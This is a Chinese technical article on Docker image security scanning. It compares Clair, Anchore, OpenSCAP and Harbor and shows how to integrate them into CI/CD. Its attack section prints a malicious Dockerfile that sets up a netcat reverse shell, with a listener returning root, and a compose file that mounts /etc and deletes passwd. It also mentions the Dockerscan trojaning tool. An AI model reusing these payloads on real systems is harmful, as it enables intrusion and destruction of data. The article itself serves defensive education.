76%都存在漏洞？！Docker映象安全掃描應該這樣做

摘要： 作者介紹 林偉壕， SecDevOpsor，先後在中國電信和網易遊戲從事資料網路、網路安全和遊戲運維工作。對Linux運維、虛擬化和網路安全防護等研究頗多，目前專注於網路安全自動化檢測、防禦系統構建。 在之前的文章《從自身漏洞與架構缺陷，談Docker安全建設》中，我...

作者介紹

林偉壕， SecDevOpsor，先後在中國電信和網易遊戲從事資料網路、網路安全和遊戲運維工作。對Linux運維、虛擬化和網路安全防護等研究頗多，目前專注於網路安全自動化檢測、防禦系統構建。

在之前的文章 ofollow,noindex"> 《從自身漏洞與架構缺陷，談Docker安全建設》 中，我們介紹了Docker存在的安全問題、整套Docker應用架構的安全基線以及安全規則，重頭戲是Docker安全規則的各種思路和方案。

本文作為“續集”，考慮到映象安全問題的普遍性和重要性，將重點圍繞Docker映象安全掃描與審計的具體實現展開討論，包括技術選型、功能使用以及如何與企業Docker容器編排系統、倉庫整合等具體問題，最後還提供了一個現成的開源整合方案。

一、概述

根據綠盟2018年3月的研究顯示，目前Docker Hub上的映象76%都存在漏洞，其研究人員拉取了Docker Hub上公開熱門映象中的前十頁映象，對其使用Docker映象安全掃描工具Clair進行了CVE掃描統計。結果顯示在一百多個映象中，沒有漏洞的只佔到24%，包含高危漏洞的佔到67%。很多我們經常使用的映象都包含在其中，如：httpd、Nginx、SQL/">MySQL等等。

有句行話說的好：未知攻，焉知防？下面先介紹Docker映象攻擊的具體實現方式，然後再提出已有的安全防護方案。

二、Docker映象攻擊

針對Docker容器的攻擊，有利用Docker Daemon API的，也有攻擊K8S、Mesos等容器管理平臺的，這方面的攻擊利用門檻較低、獲取成果又非常豐富，反彈Shell、getRoot均不在話下。

不過，今天討論的是針對Docker映象的攻擊，常見的攻擊方式主要有Dockerfiles攻擊、Docker compose攻擊兩種，而後面講到的Docker映象自動化攻擊則主要利用Dockerscan這款工具。

1、Dockerfiles攻擊

道理很簡單，在Dockerfiles中寫入惡意命令，如反彈Shell或者新增惡意使用者等，或者引入存在漏洞的應用，如使用存在遠端命令執行漏洞的Strusts2。下面是一個現成的Dockerfiles。

FROM alpine:latest
RUN apk add --update --no-cache netcat-openbsd docker
RUN mkdir /files
COPY * /files/
RUN mknod /tmp/back p
RUN /bin/sh 0/tmp/back

一旦客戶端Build完映象，啟動容器，就會向控制端反彈Shell：

nc -lv 192.168.160.1 12345
sh# id
root

2、Docker compose攻擊

類似的，編寫好存在惡意命令或者漏洞元件的Docker compose檔案，一旦客戶端Build完映象，啟動容器，就會執行攻擊命令或暴露漏洞元件。

test:
 image: ubuntu:14.04
 volumes:
  - /etc:/test
 command: rm /test/passwd

3、Docker映象自動化攻擊

Docker映象自動化滲透工具Dockerscan可掃描網段或者目標識別是否為Docker Registry，也支援對Docker Registry操作映象，更支援修改映象，將木馬植入正常映象中，當用戶執行該映象時，攻擊者就會接收到反彈出的Shell，從而達到控制伺服器的目的。

pip3 install dockerscan
dockerscan -h
Usage: dockerscan [OPTIONS] COMMAND [ARGS]...
 
Options:
  -v           Verbose output
  -d           enable debug
  -q, --quiet  Minimal output
  --version    Show the version and exit.
  -h, --help   Show this message and exit.
 
Commands:
  image     Docker images commands
  registry  Docker registry actions
  scan      Search for Open Docker Registries

三、Docker映象安全掃描

通過本地Docker images命令或者操作Docker Registry就能惡意修改映象，植入攻擊木馬。 但這僅僅只是產生Docker映象安全掃描需求的原因之一。

另一種情況，全球最大的Docker Hub上面有官方的，也有使用者上傳的任意映象，但是目前Docker Hub上面只有Office Repo的才會自動呼叫Docker Security Scan，其他的即便是惡意image也不會有報警或者攔截的，個人映象則需要付費掃描。

因此，當我們使用外部Docker Hub的映象時同樣需要進行安全掃描。如果沒有映象安全工具，非Office的Repo Docker Pull時一定要仔細閱讀Dockerfile或者下載Dockerfile本地Build。下面是Docker官方映象安全掃描的流程圖：

不過還好，目前CoreOS官方已經推出了Clair映象安全掃描工具，該工具也被多款Docker Registry整合，比如VMware中國開源的Harbor（CNCF成員專案）、Quary以及Dockyard等。此外，還有一個Docker映象安全掃描工具新星：Anchore，不僅支援對映象的靜態掃描，還支援對容器的動態掃描。

1、Clair

Clair首先對映象進行特徵的提取，然後再將這些特徵匹配CVE漏洞庫，若發現漏洞則進行提示，其功能側重於掃描容器中的OS及APP的CVE漏洞。該工具可以交叉檢查Docker映象的作業系統以及上面安裝的任何包是否與任何已知不安全的包版本相匹配，支援跟K8S、Registry結合在一起，在映象構建過程進行漏洞掃描，支援OS廣泛，提供API，能提供構建阻斷和報警。

在開始分析Clair之前，我們需要明白幾點：

• Clair是以靜態分析的方式對映象進行分析的，有點類似於防毒軟體用特徵碼來掃描病毒。

• Clair映象分析是按映象Layer層級來進行的，如果某一層的軟體有漏洞，在上層被刪除了，該漏洞還是存在的。

• Clair的漏洞掃描是通過軟體版本比對來完成的，如果某個應用，比如Nginx ，它在映象中的版本為1.0.0，而該版本在資料庫中存在1.0.0對應的漏洞資料，則表示該映象存在對應的漏洞。

架構

Clair整體架構圖如下所示：

整體處理流程如下：

• Clair定期從配置的源獲取漏洞元資料然後存進資料庫。

• 客戶端使用Clair API處理映象，獲取映象的特徵並存進資料庫。

• 客戶端使用Clair API從資料庫查詢特定映象的漏洞情況，為每個請求關聯漏洞和特徵，避免需要重新掃描映象。

• 當更新漏洞元資料時，將會有系統通知產生。另外，還有WebHook用於配置將受影響的映象記錄起來或者攔截其部署。

此外，特有術語、驅動和資料來源、通知方式的使用等可以參考官方文件。

見連結：https://github.com/coreos/clair

客戶端

上面介紹的只是Clair的服務端，投入應用還需額外的客戶端。目前從官方列出的衍生開發工具裡，已經有非常多的選擇。

衍生開發工具參考連結：

https://github.com/coreos/clair/blob/master/Documentation/integrations.md

• 官方客戶端Clairctl測試效果如下：

官方客戶端Clairctl參考連結：

https://github.com/jgsqware/clairctl

clairctl analyze -l cve-2017-11610_web
Image: /cve-2017-11610_web:latest 
 Unknown: 80 Negligible: 235 Low: 195 Medium: 418 High: 161 Critical: 0 Defcon1: 0

• Clair API3.0寫的不怎麼清楚，目前還能在CoreOS官網上查到APIv1版本的文件，但是對於使用新版已經沒意義了，因為改變太大了。

• Klar，只支援跟Registry整合。

• Yair，只支援跟Registry整合，Yair是用Python寫的，可以自己修改。

• analyze-local-images：命令列，但是被放棄了，只支援Clair v1/v2。

Clair API3.0參考連結：

https://app.swaggerhub.com/apis/coreos/clair/3.0

《APIv1版本的文件》參考連結：

https://coreos.com/clair/docs/latest/api_v1.html

Klar參考連結：

https://github.com/optiopay/klar

Yair參考連結：

https://github.com/yfoelling/yair

《analyze-local-images：命令列，但是被放棄了》參考連結：

https://github.com/coreos/analyze-local-images

使用建議

• Master不太穩定，不適合生產環境，建議用Release版本。

  目前最新版本：

  https://github.com/coreos/clair/tree/release-2.0

• 由於Clair會根據CVE庫 掃描Docker映象使用的核心，但是實際上容器使用的是宿主的核心，這樣可能產生大量無用漏洞或者誤報；不過根據Clair開發組的意思，他們把決定權交給使用者，預設不提供白名單機制，也不對此做區分。

• 第一次啟動要下載資料到資料庫，下載時間根據網路好壞確定。可以用 https://github.com/arminc/clair-local-scan 替換Clair官方DB映象。

• 檢測到很多核心漏洞，但實際上可以不處理。但是Clair決定不過濾任何東西，而是交給使用者決定，這樣一來，使用者二次開發，增加黑白名單機制在所難免。

2、Anchore

Clair能掃描出一個映象中的所有CVE漏洞，但現在有一種情況，黑客使用最新版無漏洞的OS映象，然後在其之上安裝後門木馬，或執行惡意命令，這樣Clair就不能檢測其安全性了。

這時就要介紹一個分析工具Anchore了。

與Clair不同，Anchore側重於對映象的審計，其有強大的對映象的解析能力。Anchore是一個容器檢查和分析平臺，支援分析、檢查、安全掃描，併為容器映象提供自定義策略評估，比如黑白名單以及自定義規則。

架構

整個處理流程如下：

• 獲取映象內容並將其解壓縮，但從不執行。

• 通過在映象內容上執行一組Anchore分析器來分析映象，以提取和分類儘可能多的元資料。

• 將生成的分析儲存在資料庫中以備將來使用和稽核。

• 根據分析結果評估策略，包括對映象中發現的元件漏洞匹配。

• 更新用於策略評估和漏洞匹配的最新外部資料，並針對上游找到的任何新資料自動更新映象分析結果。

• 通知使用者政策評估和漏洞匹配的更改。

• 每隔一段時間重複上述兩個步驟，以確保最新的外部資料和更新的映象評估。

客戶端

Anchore客戶端叫Anchore-cli，可以管理和檢查映象、策略、訂閱通知和映象倉庫。工作原理、安裝和使用方式都很簡單。

Anchore-cli參考連結：

https://github.com/anchore/anchore-cli

• 部署 支援原始碼安裝和各種主流作業系統源安裝

git clone https://github.com/anchore/anchore-cli
cd anchore-cli
pip install --user --upgrade .

• 配置和使用

配置Anchore Engine連線地址和認證方式；接著 使用restful api給Anchore Engine增加映象、檢視映象分析狀態、執行映象安全掃描、檢視映象分層資訊並訂閱CVE更新的通知。

使用建議

• Anchore這個已經被Anchore-Engine替代，目前再使用會出現各種奇怪的問題。

• Anchore分為社群版和商業版，社群版只有CLI介面，商業版提供Web頁面以及更多的商業支援。

OpenSCAP

跟Clair類似，依賴CVE庫進行漏洞掃描。目前已有Docker容器方案，Open  SCAP4 Docker Docker image：能根據OSCAP資料庫檢測image/ container。

Open SCAP4Docker Docker image參考連結：

https://github.com/dduportal-dockerfiles/oscap4docker

安裝

• 拉取映象

docker pull dduportal/oscap4docker:1.0.0

docker run dduportal/oscap4docker:1.0.

• Build映象

git clone https://github.com/dduportal-dockerfiles/oscap4docker.git
cd oscap4docker
cat DockerfileFROM dduportal/oscap4docker:1.0.0MAINTAINER ADD ./your-tests /app/oscap4docker-testsRUN yum install -y -q CMD ["/app/oscap4docker-tests/"]docker build -t my-tests ./
...
docker run -t my-tests...

使用

docker-oscap image IMAGE-NAME OSCAP-ARGUMENTS
  Scan a docker image.
docker-oscap image-cve IMAGE-NAME [--results oval-results-file.xml [--report report.html]]
  Scan a docker image for known vulnerabilities.
docker-oscap container CONTAINER-NAME OSCAP-ARGUMENTS
  Scan a running docker container of given name.
docker-oscap container-cve CONTAINER-NAME [--results oval-results-file.xml [--report report.html]]
  Scan a running container for known vulnerabilities.
See man oscap to learn more about OSCAP-ARGUMENTS

四、與企業CI/CD系統聯動的Docker映象安全系統選型

1、Clair

整合到Rigistry和CI/CD

Clair可以直接整合到容器倉庫中，以便倉庫負責代表使用者與Clair進行互動。這種型別的設定避免了手動掃描，並建立了一個合理的接收端以便Clair的漏洞通知到位。

倉庫還可用於授權，以避免洩露使用者不應當訪問的映象漏洞資訊。Clair可以整合到CI/CD管道中，如此一來，當生成映象時，將映象推送到倉庫之後觸發Clair掃描該映象的請求。整合思路如下：

• 使用者推送映象到容器倉庫，倉庫根據設定的黑白名單選擇是否呼叫Clair進行掃描。

• 一旦觸發Clair掃描，則等待掃描結果返回，然後通知使用者。

部署方式

主要有Kubernetes和本地部署這兩種方式：

服務端

• K8S Cluster

git clone https://github.com/coreos/clair
cd clair/contrib/helm
cp clair/values.yaml ~/my_custom_values.yaml
vi ~/my_custom_values.yaml
helm dependency update clair
helm install clair -f ~/my_custom_values.yaml

• Local

$ mkdir $PWD/clair_config$ curl -L https://raw.githubusercontent.com/coreos/clair/master/config.yaml.sample -o $PWD/clair_config/config.yaml$ docker run -d -e POSTGRES_PASSWORD="" -p 5432:5432 postgres:9.6$ docker run --net=host -d -p 6060-6061:6060-6061 -v $PWD/clair_config:/config quay.io/coreos/clair-git:latest -config=/config/config.yaml

客戶端

• 主分支版本

curl -L https://raw.githubusercontent.com/jgsqware/clairctl/master/install.sh | sh

• Docker-compose

$ git clone [email protected]:jgsqware/clairctl.git $GOPATH/src/github.com/jgsqware/clairctl$ cd $GOPATH/src/github.com/jgsqware/clairctl$ docker-compose up -d postgres

2、Anchore

Anchore與Clair相比更優越的地方，不僅在於功能上，還在生態上。

比如Anchor目前可以通過Jenkins/Gitlab無縫地切入CI/CD工作流程，開發人員將程式碼提交到原始碼管理系統，然後觸發Jenkins/Gitlab啟動建立容器映象的構建。通過構建失敗並返回適當的報告來讓開發人員“快速學習”、快速解決問題。

接下來介紹Anchore如何與Jenkins進行整合，Jenkins與Gitlab整合也有官方介紹。

與Jenkins整合

此外，Anchore支援外掛模式和本地模式，但是本地模式已經被官方拋棄，所以目前只能選擇外掛模式。

配置外掛以與Anchore Engine服務API的模式可以從工作節點訪問其服務API。Anchore外掛可以在Pipeline作業中使用，也可以作為構建步驟新增到Freestyle作業中，以自動執行分析，評估映象的自定義策略以及執行映象安全掃描。

整個處理流程如下： Jenkins作業將構建容器映象，並將映象推送到Anchore Engine服務中預配置的倉庫，構建步驟將通過“新增”映象（指示Anchore Engine從倉庫中提取映象）與Anchore Engine互動，然後對映象執行策略評估檢查。如果策略評估導致“停止”操作，則可以選擇將構建步驟配置為構建失敗。該外掛會將生成的策略評估結果與作業一起儲存，以供日後檢查/稽核該外掛可用於Freestyle和Pipeline作業。

部署方式

主要有Jenkins外掛和Kubernetes兩種部署方式：

Jenkins外掛

假定以下先決條件已經滿足：

1）Jenkins2.x已在虛擬機器或物理伺服器上安裝並執行；

2）已安裝並運行了Anchore-Engine，可訪問EngineAPI URL（後稱為 ） 和憑據（後稱為 和 ） ， 具體請參閱使用者文件：Anchore Engine概述和安裝。

參考連結：

https://anchore.freshdesk.com/support/home

Kubernetes呼叫Anchore Engine API

使用者提交部署時，由Kubernetes通過呼叫Policy Validator服務來向Anchore Engine API發起映象安全掃描，評估是否符合安全規則。不過，這樣就無法在CI環節提前檢測發現漏洞，而把漏洞留到了CD階段，個人認為不是很好的設計。

3、Harbor

相信看了上面Clair和Anchore的落地方案，讀者都會覺得有些複雜，落地成本較高。值得高興的是，VMware開源的Docker映象倉庫Harbor v1.2以後集成了Clair。

架構

整合Clair的功能依然是靠其官方映象和Postgres結合形成，而掃描之後的資訊則通過Harbor自身的資料庫進行儲存。

目前Harbor還不支援黑白名單機制。支援設定漏洞響應閾值，比如只有存在高危漏洞的映象才會阻斷後續CI/CD或者使用者拉取。

Harbor除了集成了Clair的功能外，從v1.1起也增加了映象內容信任的能力，可以幫助使用者實現容器映象的內容信任問題。通過內容信任（Content Trust）的機制來確保映象的來源可信。整個映象的安全掃描和審計邏輯如下圖所示：

• 當用戶提交映象Build任務後，Registry V2會呼叫Clair的API提交分層後的映象Layers，Clair掃描結束將結果發會給Harbor，Harbor再根據漏洞閾值決定是否允許使用者下載。如果映象的漏洞級別超過了這個閥值，映象將無法下載。

• 當映象的使用者下載時，根據映象的名稱，可以從Notary獲得映象的摘要，然後使用Registry V2的API，做 Pull by content（Digest）的Registry呼叫，即可獲得來自信任者的映象。如果映象沒有簽過名，獲取Digest會失敗，因而無法下載映象。

下面是Harbor掃描結果展示：

上圖顯示了使用者可以在Harbor上主動發起掃描，下圖顯示了映象安全掃描結果。

部署

由於Harbor官方和社群提供了非常詳細的部署文件，本文就不贅述了。

選型建議

通過上面的對比，讀者可以根據自己的實際情況進行選擇。如果方便遷移Docker映象倉庫的話，Harbor會是一個比較容易落地的選擇。如果在Jenkins方面使用的比較重的企業，建議也可以選擇Anchore。

五、結尾

綜上，本文從Docker映象漏洞挖掘入手，介紹了常見的映象漏洞引入方式和檢測工具。然後，介紹了業界比較流行的Docker映象安全掃描工具的原理、架構、部署和落地方案，如若讀者對Docker映象安全掃描能有一個相對全面的瞭解，那便足矣。

參考

• Docker映象安全概述：

  http://blog.nsfocus.net/docker-mirror-security/

• 安全防護工具之：Anchore：

  https://blog.csdn.net/liumiaocn/article/details/76732894?locationNum=10&fps=1

• Docker映象安全掃描：

  https://blog.csdn.net/m0_37552052/article/details/78907296

• Clair原始碼解析：

  https://blog.csdn.net/WaltonWang/article/details/53995685

• Clair二次開發指南：

  http://www.freebuf.com/column/157784.html

• Docker映象掃描器的實現:clair：

  https://www.tuicool.com/articles/ZF7n6vr

• Clairctl部署案例：

  https://blog.csdn.net/m0_37552052/article/details/78907296

• Analyze-local-images安裝異常處理：

  http://www.bubuko.com/infodetail-2600784.html

• Anchore github倉庫：

  https://github.com/anchore/anchore

• Anchore jenkins接入方式：

  https://wiki.jenkins.io/display/JENKINS/Anchore+Container+Image+Scanner+Plugin

• Docker基礎：私庫系列：再探Harbor：(5)整合clair：

  https://blog.csdn.net/liumiaocn/article/details/81813707

• 作者博文：Harbor容器映象安全漏洞掃描詳述和視訊：

  https://blog.csdn.net/q48S71bCzBeYLOu9T0n/article/details/78180109

• 容器映象之明察秋毫：Harbor內容信任的原理及演示視訊：

  https://blog.csdn.net/q48S71bCzBeYLOu9T0n/article/details/80326458

• Harbor使用者文件：

  https://github.com/vmware/harbor/blob/master/docs/user_guide.md